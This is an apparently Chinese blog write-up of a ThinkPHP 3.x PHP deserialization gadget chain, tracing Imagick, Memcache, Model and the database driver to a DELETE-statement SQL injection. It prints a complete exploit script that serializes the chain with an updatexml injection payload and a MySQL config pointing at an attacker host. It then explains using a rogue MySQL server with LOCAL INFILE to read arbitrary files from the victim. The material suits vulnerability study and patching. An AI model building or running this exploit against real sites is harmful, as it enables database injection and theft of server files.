参考
https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247484711&idx=1&sn=0dd0f72b376b4922e4ae5b8bd614ae89&scene=21#wechat_redirect
搭建环境
框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action即可。

分析
1./ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
$this->img可控,寻找由destory方法的类

2./ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
destroy()方法中调用delete()方法 ,$this->handle属性可控,可传入任意类并调用它的delete()方法。destroy()方法需要传入一个$sessID,但是前面调用destroy()没有传值,而$this->sessionName可控,这样整个传入的参数都可控

3./ThinkPHP/Library/Think/Model.class.php
$options数组为传入参数,可控,其他属性也可控,这样在两个if语句中出现的四个条件都可以满足,就可以第二次调用delete()方法也就是自身,而这次的参数变成了$this->data[$pk],完全可控。而且通过下面这条语句可以调用任意类的delete()方法。
1
| $this->db->delete($options);
|



4./ThinkPHP/Library/Think/Db/Driver.class.php
$options数组为传入参数,可控。因此$table可控,$table被拼接到$sql,再被传入$this->execute()
1 2
| $table=$this->parseTable($options['table']); $sql='DELETE FROM '.$table;
|
最终执行$this->execute($sql,!empty($options[‘fetch_sql’]) ? true : false);

execute()方法中调用initConnect()方法初始化数据库


在initConnect()方法中,可以通过修改属性,满足条件empty($this->config[‘deploy’]),调用connect()。

这里新建了一个PDO对象,使用$this->config里的配置去创建数据库连接,然后去执行前面拼接的DELETESQL语句。

利用
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); protected $config = array( "debug" => 1, "database" => "thinkphp3", "hostname" => "192.168.111.129", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "" ); } }
namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img;
public function __construct(){ $this->img = new Memcache(); } } }
namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle;
public function __construct(){ $this->handle = new Model(); } } }
namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null;
public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } } }
namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
|
利用LOAD DATA INFILE读取文件,由于mysql客户端绝对信任服务端。导致攻击机可以构造一个恶意服务端,在连接的时候发送读取文件的请求,然后返回的结果会被记录到mysql.log
搭建mysql服务端->客户端连接->发送读取文件请求->在mysql.log中读取文件的内容
https://github.com/allyshka/Rogue-MySql-Server/
修改为要读取的文件

运行

触发反序列化,连接恶意服务端

在mysql.log中查看读取到的文件

